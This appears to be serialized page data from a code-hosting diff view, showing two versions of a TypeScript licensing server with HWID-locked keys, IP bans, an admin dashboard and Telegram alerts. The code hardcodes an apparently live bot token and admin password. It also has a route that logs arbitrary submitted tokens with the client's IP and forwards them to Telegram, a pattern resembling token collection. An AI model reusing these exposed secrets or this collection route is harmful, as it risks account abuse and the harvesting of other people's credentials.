[{"_1":2,"_3":-5,"_4":-5},"loaderData",{"_5":6,"_7":8,"_9":10},"actionData","errors","root",{"_168":169,"_170":171},"routes/_app.x.$handle.$name",{"_96":95,"_32":45,"_105":86,"_27":53,"_13":14,"_106":-5,"_11":107,"_108":109,"_110":111,"_112":113,"_114":115,"_20":-5,"_116":-5,"_117":-5,"_118":25,"_119":120,"_121":58,"_122":-5,"_123":-5,"_124":125},"routes/_app.x.$handle.$name.branch.$branch.version.$version.diff",{"_11":12,"_13":14,"_15":16,"_17":-5,"_18":-5},"project",{"_43":44,"_32":45,"_38":46,"_47":-5,"_48":25,"_49":50,"_51":50,"_52":53,"_54":-5,"_18":55,"_56":31,"_57":58,"_59":-5,"_60":-5,"_61":62,"_63":64,"_65":-5,"_66":-5,"_67":-5,"_68":-5,"_69":70,"_71":70,"_72":73,"_74":73,"_75":73,"_76":70,"_77":70,"_78":79,"_80":81,"_82":83,"_84":25},"version",33,"changes",[19],"aiChatInfo","userId",{"_20":21,"_22":23,"_24":25,"_26":25,"_27":28,"_29":28},"file",{"_30":31,"_32":28,"_33":34,"_35":37,"_38":39,"_40":14,"_41":42,"_24":25},"previous",{"_30":31,"_32":28,"_33":34,"_35":36},"deleted",false,"deletedHere","path","main.ts","latestPath","fileId","36d5e292-af8b-11f1-ae6a-1607ee4eb77e","name","fileType","http","content","import { sqlite } from \"https://esm.town/v/std/sqlite\";\n\nconst TELEGRAM_BOT_TOKEN = '8971908039:AAHQIDpiCSVLmgH9m1OCR3x7xJhU7rOqZG8';\nconst CHAT_ID = '7971654451';\nconst ADMIN_KEY = \"Nandu@2008\";\n\nconst PASSWORDS = [\n \"aB3kL9\", \"mN7pQ2\", \"xY4zR8\", \"tG6hJ1\", \"wE5fD0\",\n \"cV9bN3\", \"qW2eR7\", \"sD4fG8\", \"hJ6kL0\", \"zX1cV5\",\n \"bN3mQ8\", \"rT5yU2\", \"iO7pA9\", \"lK1jH4\", \"gF6dS3\",\n \"pO8iU7\", \"yT2rE5\", \"uW4qZ1\", \"eR6tY9\", \"oP3aS8\",\n \"dF5gH2\", \"jK7lM4\", \"vB9nC6\", \"xZ1cV3\", \"bN2mQ7\",\n \"rT4yU9\", \"iO6pA1\", \"lK8jH5\", \"gF3dS2\", \"pO5iU9\",\n \"yT7rE1\", \"uW9qZ6\", \"eR2tY4\", \"oP8aS3\", \"dF1gH7\",\n \"jK3lM9\", \"vB5nC2\", \"xZ7cV4\", \"bN9mQ1\", \"rT2yU6\",\n \"iO4pA8\", \"lK6jH3\", \"gF8dS5\", \"pO1iU4\", \"yT3rE7\",\n \"uW5qZ9\", \"eR7tY2\", \"oP9aS6\", \"dF2gH8\", \"jK4lM1\",\n \"test123\"\n];\n\nasync function sendTelegram(text: string) {\n try {\n await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({ chat_id: CHAT_ID, text, parse_mode: 'Markdown' })\n });\n } catch (e) { console.error(e); }\n}\n\nfunction getClientIP(req: Request): string {\n return req.headers.get(\"x-forwarded-for\")?.split(\",\")[0].trim()\n || req.headers.get(\"cf-connecting-ip\")\n || \"unknown\";\n}\n\nfunction esc(s: any): string {\n return String(s ?? \"\").replace(/[&<>\"']/g, (c: string) => ({\n '&': '&', '<': '<', '>': '>', '\"': '"', \"'\": '''\n })[c] || c);\n}\n\n// ============================================\n// 🚫 IP BAN CHECK with prefix support\n// ============================================\nfunction ipMatchesBan(clientIP: string, bannedIP: string): boolean {\n if (!clientIP || !bannedIP) return false;\n // Exact match\n if (clientIP === bannedIP) return true;\n // Prefix match (for IPv6 subnet bans like \"2409:4073:4e9a:753f\")\n if (bannedIP.includes(\":\") && clientIP.startsWith(bannedIP)) return true;\n // IPv4 subnet prefix (like \"49.36.12\" matches \"49.36.12.45\")\n if (bannedIP.includes(\".\") && !bannedIP.includes(\":\")\n && clientIP.startsWith(bannedIP + \".\")) return true;\n return false;\n}\n\nasync function isIPBanned(clientIP: string): Promise<{ banned: boolean; matchedBy: string }> {\n const bans = await sqlite.execute(\"SELECT ip FROM banned_ips\");\n for (const row of bans.rows) {\n const bannedIP = String((row as any)[0]);\n if (ipMatchesBan(clientIP, bannedIP)) {\n return { banned: true, matchedBy: bannedIP };\n }\n }\n return { banned: false, matchedBy: \"\" };\n}\n\n// ============================================\n// ⏰ AUTO-EXPIRE\n// ============================================\nasync function autoExpire() {\n try {\n await sqlite.execute(`\n UPDATE keys\n SET blocked = 1\n WHERE expires_at IS NOT NULL\n AND expires_at != ''\n AND datetime(expires_at) < datetime('now')\n AND blocked = 0\n `);\n } catch (e) {}\n}\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n const clientIP = getClientIP(req);\n\n // Auto-create tables\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS ip_log (ip TEXT, password TEXT, hwid TEXT, last_seen TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS banned_ips (ip TEXT PRIMARY KEY, reason TEXT, banned_at TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS token_log (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n password TEXT, hwid TEXT, ip TEXT, token TEXT, received_at TEXT\n )`);\n\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN blocked INTEGER DEFAULT 0\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN expires_at TEXT\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN notes TEXT\"); } catch (e) {}\n\n await autoExpire();\n\n // Log request (skip admin)\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n await sqlite.execute({\n sql: \"INSERT INTO ip_log (ip, password, hwid, last_seen) VALUES (?, ?, ?, ?)\",\n args: [clientIP, url.searchParams.get(\"password\") || \"\", url.searchParams.get(\"hwid\") || \"\", new Date().toISOString()]\n }).catch(() => {});\n }\n\n // Ban check (prefix-aware)\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n const check = await isIPBanned(clientIP);\n if (check.banned) {\n await sendTelegram(`🚫 *Banned IP tried access*\\nIP: \\`${clientIP}\\`\\nMatched ban: \\`${check.matchedBy}\\``);\n return new Response(\"forbidden\", { status: 403 });\n }\n }\n\n // ============ SETUP ============\n if (url.searchParams.get(\"setup\") === \"true\") {\n for (const p of PASSWORDS) {\n await sqlite.execute({\n sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\",\n args: [p]\n });\n }\n const total = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n return new Response(\"✅ Setup done! Total: \" + total.rows[0][0]);\n }\n\n // ============================================\n // 🔐 ADMIN HTML DASHBOARD\n // ============================================\n if (url.searchParams.get(\"admin\") === ADMIN_KEY) {\n const action = url.searchParams.get(\"action\");\n const target = url.searchParams.get(\"password\") || url.searchParams.get(\"ip\");\n let flash = \"\";\n\n // === KEY ACTIONS ===\n if (action === \"add\" && target) {\n await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [target] });\n flash = \"✅ Added: \" + target;\n }\n if (action === \"delete\" && target) {\n await sqlite.execute({ sql: \"DELETE FROM keys WHERE password = ?\", args: [target] });\n flash = \"🗑️ Deleted: \" + target;\n }\n if (action === \"reset\" && target) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 0, hwid = NULL WHERE password = ?\", args: [target] });\n flash = \"🔄 Reset: \" + target;\n }\n if (action === \"block\" && target) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [target] });\n flash = \"🚫 Blocked: \" + target;\n }\n if (action === \"unblock\" && target) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 0 WHERE password = ?\", args: [target] });\n flash = \"✅ Unblocked: \" + target;\n }\n if (action === \"setnotes\" && target) {\n const notes = url.searchParams.get(\"notes\") || \"\";\n await sqlite.execute({ sql: \"UPDATE keys SET notes = ? WHERE password = ?\", args: [notes, target] });\n flash = \"📝 Notes saved: \" + target;\n }\n if (action === \"setexpiry\" && target) {\n const value = Number(url.searchParams.get(\"value\") || \"0\");\n const unit = url.searchParams.get(\"unit\") || \"days\";\n let expiresAt: string | null = null;\n\n if (value > 0) {\n const ms = unit === \"mins\" ? value * 60 * 1000\n : unit === \"hours\" ? value * 60 * 60 * 1000\n : value * 24 * 60 * 60 * 1000;\n expiresAt = new Date(Date.now() + ms).toISOString();\n }\n\n await sqlite.execute({\n sql: \"UPDATE keys SET expires_at = ?, blocked = 0 WHERE password = ?\",\n args: [expiresAt, target]\n });\n\n const labels: any = { mins: \"minutes\", hours: \"hours\", days: \"days\" };\n flash = value > 0\n ? `⏰ Expires in ${value} ${labels[unit] || \"days\"}: ${target}`\n : `♾️ Expiry removed: ${target}`;\n }\n\n // === IP ACTIONS ===\n if (action === \"ban\" && target) {\n await sqlite.execute({\n sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\",\n args: [target, \"banned via dashboard\", new Date().toISOString()]\n });\n flash = \"🚫 Banned: \" + target;\n }\n if (action === \"banprefix\") {\n const prefix = url.searchParams.get(\"prefix\");\n if (prefix) {\n await sqlite.execute({\n sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\",\n args: [prefix, \"prefix ban\", new Date().toISOString()]\n });\n flash = \"🚫 Banned prefix: \" + prefix;\n }\n }\n if (action === \"unban\" && target) {\n await sqlite.execute({ sql: \"DELETE FROM banned_ips WHERE ip = ?\", args: [target] });\n flash = \"✅ Unbanned: \" + target;\n }\n if (action === \"bulkban\") {\n const ipsRaw = url.searchParams.get(\"ips\") || \"\";\n const ipList = ipsRaw.split(/[\\n,;\\s]+/).map(x => x.trim()).filter(x => x);\n let count = 0;\n for (const ip of ipList) {\n await sqlite.execute({\n sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, ?)\",\n args: [ip, \"bulk ban\", new Date().toISOString()]\n });\n count++;\n }\n flash = `🚫 Bulk banned ${count} IP(s)`;\n }\n if (action === \"cleariplog\") {\n await sqlite.execute(\"DELETE FROM ip_log\");\n flash = \"🗑️ IP log cleared\";\n }\n if (action === \"cleartokens\") {\n await sqlite.execute(\"DELETE FROM token_log\");\n flash = \"🗑️ Token log cleared\";\n }\n if (action === \"force-reset\") {\n await sqlite.execute(\"DROP TABLE IF EXISTS keys\");\n await sqlite.execute(`CREATE TABLE keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT, blocked INTEGER DEFAULT 0, expires_at TEXT, notes TEXT)`);\n for (const p of PASSWORDS) {\n await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [p] });\n }\n flash = \"🔥 Force reset done\";\n }\n\n // === FETCH DATA ===\n const keys = await sqlite.execute(\"SELECT * FROM keys ORDER BY blocked DESC, used DESC, password ASC\");\n const bans = await sqlite.execute(\"SELECT ip, reason, banned_at FROM banned_ips ORDER BY banned_at DESC\");\n const ips = await sqlite.execute(`SELECT ip, COUNT(*) as hits, MAX(last_seen) as last FROM ip_log GROUP BY ip ORDER BY last DESC LIMIT 30`);\n const tokens = await sqlite.execute(\"SELECT * FROM token_log ORDER BY id DESC LIMIT 50\");\n\n const totalKeys = keys.rows.length;\n const usedKeys = keys.rows.filter((r: any) => Number(r[1]) === 1).length;\n const blockedKeys = keys.rows.filter((r: any) => Number(r[3]) === 1).length;\n const totalBans = bans.rows.length;\n const totalTokens = tokens.rows.length;\n\n const A = (act: string, val: string) =>\n `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&password=${encodeURIComponent(val)}`;\n const AIP = (act: string, val: string) =>\n `?admin=${encodeURIComponent(ADMIN_KEY)}&action=${act}&ip=${encodeURIComponent(val)}`;\n\n const now = new Date();\n\n let keyRows = \"\";\n for (const r of keys.rows) {\n const pwd = String(r[0]);\n const used = Number(r[1]) === 1;\n const hwid = r[2] ? String(r[2]).slice(0, 6) + \"…\" : \"—\";\n const blocked = Number(r[3]) === 1;\n const expires = r[4] ? String(r[4]) : null;\n const notes = r[5] ? String(r[5]) : \"\";\n const expired = expires && new Date(expires) < now;\n\n let expireBadge = \"\";\n if (expires) {\n if (expired) {\n expireBadge = `⏰ EXPIRED`;\n } else {\n const diff = new Date(expires).getTime() - now.getTime();\n const mins = Math.floor(diff / 60000);\n const hrs = Math.floor(mins / 60);\n const days = Math.floor(hrs / 24);\n let left = days > 0 ? `${days}d ${hrs % 24}h` : (hrs > 0 ? `${hrs}h ${mins % 60}m` : `${mins}m`);\n expireBadge = `⏰ ${left}`;\n }\n }\n\n keyRows += `\n ${esc(pwd)}\n ${used ? \"✅\" : \"🆓\"}\n ${blocked ? \"🚫\" : \"—\"}\n ${esc(hwid)} ${expireBadge}\n ${esc(notes)}\n \n \n Reset\n ${blocked ? 'Unblock' : 'Block'}\n \n \n Del\n \n `;\n }\n\n let banRows = \"\";\n for (const r of bans.rows) {\n const [ip, reason, at] = r as any[];\n const isPrefix = ip.includes(\":\") && ip.split(\":\").length < 8;\n banRows += `\n ${esc(ip)} ${isPrefix ? 'PREFIX' : ''}\n ${esc(reason)}\n ${esc(String(at).slice(5, 16))}\n Unban\n `;\n }\n\n let ipRows = \"\";\n for (const r of ips.rows) {\n const [ip, hits, last] = r as any[];\n const ipStr = String(ip);\n // Check if this IP is banned by any ban (exact or prefix)\n let bannedBy = \"\";\n for (const b of bans.rows) {\n const bannedIP = String((b as any)[0]);\n if (ipMatchesBan(ipStr, bannedIP)) { bannedBy = bannedIP; break; }\n }\n\n // Suggest a prefix for this IP\n let suggestedPrefix = \"\";\n if (ipStr.includes(\":\")) {\n const parts = ipStr.split(\":\");\n suggestedPrefix = parts.slice(0, 4).join(\":\");\n } else if (ipStr.includes(\".\")) {\n const parts = ipStr.split(\".\");\n suggestedPrefix = parts.slice(0, 3).join(\".\");\n }\n\n ipRows += `\n ${esc(ipStr)}\n ${esc(hits)}\n ${esc(String(last).slice(5, 16))}\n ${bannedBy\n ? `Unban`\n : `Ban\n Ban Prefix`}\n `;\n }\n\n let tokenRows = \"\";\n for (const r of tokens.rows) {\n const [id, pwd, hwid, ip, token, at] = r as any[];\n tokenRows += `\n ${esc(pwd)}\n ${esc(String(hwid).slice(0,8))}…\n ${esc(String(ip).slice(-12))}\n ${esc(token)}\n \n \n ${esc(String(at).slice(5, 16))}\n `;\n }\n\n const html = `\n\n\n\n\n🛡️ Admin Panel\n\n\n\n

🛡️ Admin Panel

\n ${flash ? `

${esc(flash)}

` : \"\"}\n\n

TOTAL KEYS

${totalKeys}

USED

${usedKeys}

BLOCKED

${blockedKeys}

BANNED IPs

${totalBans}

\n\n

➕ Add New Key

\n \n\n

🔑 Keys (${totalKeys})

\n \n \n ${keyRows}\n

Key	Used	Blk	HWID / Expiry	Notes	Actions

\n\n

🚫 Bulk Ban IPs

\n \n\n

🚫 Banned IPs / Prefixes (${totalBans})

\n ${bans.rows.length === 0 ? \"

None

\" : `\n \n ${banRows}\n

IP / Prefix	Reason	When

`}\n\n

📊 Recent IPs

\n \n \n ${ipRows}\n

IP	Hits	Last	Actions

\n\n

📡 Recent Tokens (${totalTokens})

\n ${tokens.rows.length === 0 ? \"

No tokens received yet

\" : `\n \n ${tokenRows}\n

Key	HWID	IP	Token	When

`}\n\n

🛠️ Maintenance

\n Clear IP Log\n Clear Token Log\n Force Reset\n

\n\n`;\n\n return new Response(html, { headers: { \"Content-Type\": \"text/html; charset=utf-8\" } });\n }\n\n // ============ TOKEN ROUTE ============\n if (url.searchParams.get(\"token\")) {\n const token = url.searchParams.get(\"token\");\n const pwd = url.searchParams.get(\"password\") || \"unknown\";\n const hwid = url.searchParams.get(\"hwid\") || \"unknown\";\n\n await sqlite.execute({\n sql: \"INSERT INTO token_log (password, hwid, ip, token, received_at) VALUES (?, ?, ?, ?, ?)\",\n args: [pwd, hwid, clientIP, token, new Date().toISOString()]\n }).catch(() => {});\n\n await sendTelegram(`📡 *Token Received*\\n\\nPassword: \\`${pwd}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\`\\nToken: \\`${token}\\``);\n return new Response(\"ok\");\n }\n\n // ============ CHECK ROUTE ============\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n\n const result = await sqlite.execute({ sql: \"SELECT * FROM keys WHERE password = ?\", args: [password] });\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"invalid\", { status: 403 });\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n await sendTelegram(`⏰ *Key Expired*\\n\\nPassword: \\`${password}\\`\\nHWID: \\`${hwid}\\``);\n return new Response(\"invalid\", { status: 403 });\n }\n\n let valid = false, isNewUse = false;\n if (dbUsed === 0) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\", args: [hwid, password] });\n valid = true; isNewUse = true;\n } else if (dbHwid === hwid) {\n valid = true;\n }\n\n if (valid && isNewUse) {\n await sendTelegram(`🔔 *Key Activated!*\\n\\nPassword: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\``);\n }\n\n return valid ? new Response(\"ok\") : new Response(\"invalid\", { status: 403 });\n}","import { sqlite } from \"https://esm.town/v/std/sqlite\";\n\nconst TELEGRAM_BOT_TOKEN = 'YOUR_FULL_TOKEN_HERE'; // ⚠️ Paste your real token\nconst CHAT_ID = '7971654451';\nconst ADMIN_KEY = \"nandakishor_secret_2026\"; // ⚠️ Change this!\n\nconst PASSWORDS = [\n \"aB3kL9\", \"mN7pQ2\", \"xY4zR8\", \"tG6hJ1\", \"wE5fD0\",\n \"cV9bN3\", \"qW2eR7\", \"sD4fG8\", \"hJ6kL0\", \"zX1cV5\",\n \"bN3mQ8\", \"rT5yU2\", \"iO7pA9\", \"lK1jH4\", \"gF6dS3\",\n \"pO8iU7\", \"yT2rE5\", \"uW4qZ1\", \"eR6tY9\", \"oP3aS8\",\n \"dF5gH2\", \"jK7lM4\", \"vB9nC6\", \"xZ1cV3\", \"bN2mQ7\",\n \"rT4yU9\", \"iO6pA1\", \"lK8jH5\", \"gF3dS2\", \"pO5iU9\",\n \"yT7rE1\", \"uW9qZ6\", \"eR2tY4\", \"oP8aS3\", \"dF1gH7\",\n \"jK3lM9\", \"vB5nC2\", \"xZ7cV4\", \"bN9mQ1\", \"rT2yU6\",\n \"iO4pA8\", \"lK6jH3\", \"gF8dS5\", \"pO1iU4\", \"yT3rE7\",\n \"uW5qZ9\", \"eR7tY2\", \"oP9aS6\", \"dF2gH8\", \"jK4lM1\",\n \"test123\"\n];\n\nasync function sendTelegram(text: string) {\n try {\n await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {\n method: 'POST',\n headers: { 'Content-Type': 'application/json' },\n body: JSON.stringify({ chat_id: CHAT_ID, text, parse_mode: 'Markdown' })\n });\n } catch (e) { console.error(e); }\n}\n\nfunction getClientIP(req: Request): string {\n return req.headers.get(\"x-forwarded-for\")?.split(\",\")[0].trim()\n || req.headers.get(\"cf-connecting-ip\")\n || \"unknown\";\n}\n\nfunction esc(s: any): string {\n return String(s ?? \"\").replace(/[&<>\"']/g, (c: string) => ({\n '&': '&', '<': '<', '>': '>', '\"': '"', \"'\": '''\n })[c] || c);\n}\n\nfunction ipMatchesBan(clientIP: string, bannedIP: string): boolean {\n if (!clientIP || !bannedIP) return false;\n if (clientIP === bannedIP) return true;\n if (bannedIP.includes(\":\") && clientIP.startsWith(bannedIP)) return true;\n if (bannedIP.includes(\".\") && !bannedIP.includes(\":\")\n && clientIP.startsWith(bannedIP + \".\")) return true;\n return false;\n}\n\nasync function isIPBanned(clientIP: string): Promise<{ banned: boolean; matchedBy: string }> {\n const bans = await sqlite.execute(\"SELECT ip FROM banned_ips\");\n for (const row of bans.rows) {\n const bannedIP = String((row as any)[0]);\n if (ipMatchesBan(clientIP, bannedIP)) {\n return { banned: true, matchedBy: bannedIP };\n }\n }\n return { banned: false, matchedBy: \"\" };\n}\n\nasync function autoExpire() {\n try {\n await sqlite.execute(`\n UPDATE keys\n SET blocked = 1\n WHERE expires_at IS NOT NULL\n AND expires_at != ''\n AND datetime(expires_at) < datetime('now')\n AND blocked = 0\n `);\n } catch (e) {}\n}\n\nexport default async function (req: Request): Promise {\n const url = new URL(req.url);\n const clientIP = getClientIP(req);\n\n // Auto-create tables\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS ip_log (ip TEXT, password TEXT, hwid TEXT, last_seen TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS banned_ips (ip TEXT PRIMARY KEY, reason TEXT, banned_at TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS keys (password TEXT PRIMARY KEY, used INTEGER DEFAULT 0, hwid TEXT)`);\n await sqlite.execute(`CREATE TABLE IF NOT EXISTS token_log (\n id INTEGER PRIMARY KEY AUTOINCREMENT,\n password TEXT, hwid TEXT, ip TEXT, token TEXT, received_at TEXT\n )`);\n await sqlite.execute(`\n CREATE TABLE IF NOT EXISTS tokens (\n token TEXT PRIMARY KEY,\n password TEXT,\n hwid TEXT,\n created_at TEXT,\n last_used TEXT\n )\n `);\n\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN blocked INTEGER DEFAULT 0\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN expires_at TEXT\"); } catch (e) {}\n try { await sqlite.execute(\"ALTER TABLE keys ADD COLUMN notes TEXT\"); } catch (e) {}\n\n await autoExpire();\n\n // Log request (skip admin)\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n await sqlite.execute({\n sql: \"INSERT INTO ip_log (ip, password, hwid, last_seen) VALUES (?, ?, ?, ?)\",\n args: [clientIP, url.searchParams.get(\"password\") || \"\", url.searchParams.get(\"hwid\") || \"\", new Date().toISOString()]\n }).catch(() => {});\n }\n\n // Ban check (prefix-aware)\n if (url.searchParams.get(\"admin\") !== ADMIN_KEY) {\n const check = await isIPBanned(clientIP);\n if (check.banned) {\n await sendTelegram(`🚫 *Banned IP tried access*\\nIP: \\`${clientIP}\\`\\nMatched ban: \\`${check.matchedBy}\\``);\n return new Response(\"forbidden\", { status: 403 });\n }\n }\n\n // ============================================\n // 🎫 TOKEN SYSTEM\n // ============================================\n\n // === LOGIN (password → token) ===\n if (url.pathname === \"/login\") {\n const password = url.searchParams.get(\"password\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!password || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(password)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({\n sql: \"SELECT * FROM keys WHERE password = ?\",\n args: [password]\n });\n\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const dbUsed = Number(entry[1] ?? 0);\n const dbHwid = entry[2];\n const dbBlocked = Number(entry[3] ?? 0);\n const dbExpires = entry[4] ? String(entry[4]) : null;\n\n if (dbBlocked === 1) return new Response(\"invalid\", { status: 403 });\n if (dbExpires && new Date(dbExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"invalid\", { status: 403 });\n }\n\n let valid = false;\n if (dbUsed === 0) {\n await sqlite.execute({\n sql: \"UPDATE keys SET used = 1, hwid = ? WHERE password = ?\",\n args: [hwid, password]\n });\n valid = true;\n } else if (dbHwid === hwid) {\n valid = true;\n }\n\n if (!valid) return new Response(\"invalid\", { status: 403 });\n\n const token = Array.from(crypto.getRandomValues(new Uint8Array(16)))\n .map(b => b.toString(36).padStart(2, '0'))\n .join('')\n .slice(0, 24);\n\n await sqlite.execute({\n sql: \"INSERT INTO tokens (token, password, hwid, created_at, last_used) VALUES (?, ?, ?, ?, ?)\",\n args: [token, password, hwid, new Date().toISOString(), new Date().toISOString()]\n });\n\n await sendTelegram(`🎫 *Token Issued*\\n\\nKey: \\`${password}\\`\\nHWID: \\`${hwid}\\`\\nIP: \\`${clientIP}\\`\\nToken: \\`${token}\\``);\n\n return new Response(token);\n }\n\n // === CHECK TOKEN (auto-login) ===\n if (url.pathname === \"/token\") {\n const token = url.searchParams.get(\"t\");\n const hwid = url.searchParams.get(\"hwid\");\n\n if (!token || !hwid) return new Response(\"invalid\", { status: 400 });\n if (!/^[a-zA-Z0-9]+$/.test(token)) return new Response(\"invalid\", { status: 403 });\n\n const result = await sqlite.execute({\n sql: \"SELECT * FROM tokens WHERE token = ? AND hwid = ?\",\n args: [token, hwid]\n });\n\n if (result.rows.length === 0) return new Response(\"invalid\", { status: 403 });\n\n const entry = result.rows[0];\n const password = String(entry[1]);\n\n const keyResult = await sqlite.execute({\n sql: \"SELECT * FROM keys WHERE password = ?\",\n args: [password]\n });\n\n if (keyResult.rows.length === 0) {\n await sqlite.execute({ sql: \"DELETE FROM tokens WHERE token = ?\", args: [token] });\n return new Response(\"invalid\", { status: 403 });\n }\n\n const key = keyResult.rows[0];\n const keyBlocked = Number(key[3] ?? 0);\n const keyExpires = key[4] ? String(key[4]) : null;\n\n if (keyBlocked === 1) return new Response(\"invalid\", { status: 403 });\n if (keyExpires && new Date(keyExpires) < new Date()) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [password] });\n return new Response(\"invalid\", { status: 403 });\n }\n\n await sqlite.execute({\n sql: \"UPDATE tokens SET last_used = ? WHERE token = ?\",\n args: [new Date().toISOString(), token]\n });\n\n return new Response(\"ok\");\n }\n\n // ============ SETUP ============\n if (url.searchParams.get(\"setup\") === \"true\") {\n for (const p of PASSWORDS) {\n await sqlite.execute({\n sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\",\n args: [p]\n });\n }\n const total = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n return new Response(\"✅ Setup done! Total: \" + total.rows[0][0]);\n }\n\n // ============ DEBUG ============\n if (url.searchParams.get(\"debug\") === \"true\") {\n const count = await sqlite.execute(\"SELECT COUNT(*) FROM keys\");\n const tokens = await sqlite.execute(\"SELECT COUNT(*) FROM tokens\");\n return new Response(JSON.stringify({\n total_keys: count.rows[0][0],\n total_tokens: tokens.rows[0][0]\n }, null, 2));\n }\n\n // ============================================\n // 🔐 ADMIN HTML DASHBOARD\n // ============================================\n if (url.searchParams.get(\"admin\") === ADMIN_KEY) {\n const action = url.searchParams.get(\"action\");\n const target = url.searchParams.get(\"password\") || url.searchParams.get(\"ip\");\n let flash = \"\";\n\n // === KEY ACTIONS ===\n if (action === \"add\" && target) {\n await sqlite.execute({ sql: \"INSERT OR IGNORE INTO keys (password, used, blocked) VALUES (?, 0, 0)\", args: [target] });\n flash = \"✅ Added: \" + target;\n }\n if (action === \"delete\" && target) {\n await sqlite.execute({ sql: \"DELETE FROM keys WHERE password = ?\", args: [target] });\n await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] });\n flash = \"🗑️ Deleted: \" + target;\n }\n if (action === \"reset\" && target) {\n await sqlite.execute({ sql: \"UPDATE keys SET used = 0, hwid = NULL WHERE password = ?\", args: [target] });\n await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] });\n flash = \"🔄 Reset: \" + target;\n }\n if (action === \"block\" && target) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 1 WHERE password = ?\", args: [target] });\n await sqlite.execute({ sql: \"DELETE FROM tokens WHERE password = ?\", args: [target] });\n flash = \"🚫 Blocked: \" + target;\n }\n if (action === \"unblock\" && target) {\n await sqlite.execute({ sql: \"UPDATE keys SET blocked = 0 WHERE password = ?\", args: [target] });\n flash = \"✅ Unblocked: \" + target;\n }\n if (action === \"setnotes\" && target) {\n const notes = url.searchParams.get(\"notes\") || \"\";\n await sqlite.execute({ sql: \"UPDATE keys SET notes = ? WHERE password = ?\", args: [notes, target] });\n flash = \"📝 Notes saved: \" + target;\n }\n if (action === \"setexpiry\" && target) {\n const value = Number(url.searchParams.get(\"value\") || \"0\");\n const unit = url.searchParams.get(\"unit\") || \"days\";\n let expiresAt: string | null = null;\n\n if (value > 0) {\n const ms = unit === \"mins\" ? value * 60 * 1000\n : unit === \"hours\" ? value * 60 * 60 * 1000\n : value * 24 * 60 * 60 * 1000;\n expiresAt = new Date(Date.now() + ms).toISOString();\n }\n\n await sqlite.execute({\n sql: \"UPDATE keys SET expires_at = ?, blocked = 0 WHERE password = ?\",\n args: [expiresAt, target]\n });\n\n const labels: any = { mins: \"minutes\", hours: \"hours\", days: \"days\" };\n flash = value > 0\n ? `⏰ Expires in ${value} ${labels[unit] || \"days\"}: ${target}`\n : `♾️ Expiry removed: ${target}`;\n }\n\n // === IP ACTIONS ===\n if (action === \"ban\" && target) {\n await sqlite.execute({\n sql: \"INSERT OR REPLACE INTO banned_ips (ip, reason, banned_at) VALUES (?, ?, 